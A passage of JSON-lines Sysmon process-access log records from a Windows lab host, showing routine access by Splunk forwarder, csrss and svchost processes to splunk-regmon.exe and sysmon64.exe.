Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6646,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.525\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4268-5F2D-0000-0010A9480A00}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.525","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4268-5F2D-0000-0010A9480A00}","TargetProcessId":"3204","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6647,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.525\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4268-5F2D-0000-0010A9480A00}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.525","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4268-5F2D-0000-0010A9480A00}","TargetProcessId":"3204","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6648,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6649,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6650,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6651,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6652,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6653,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 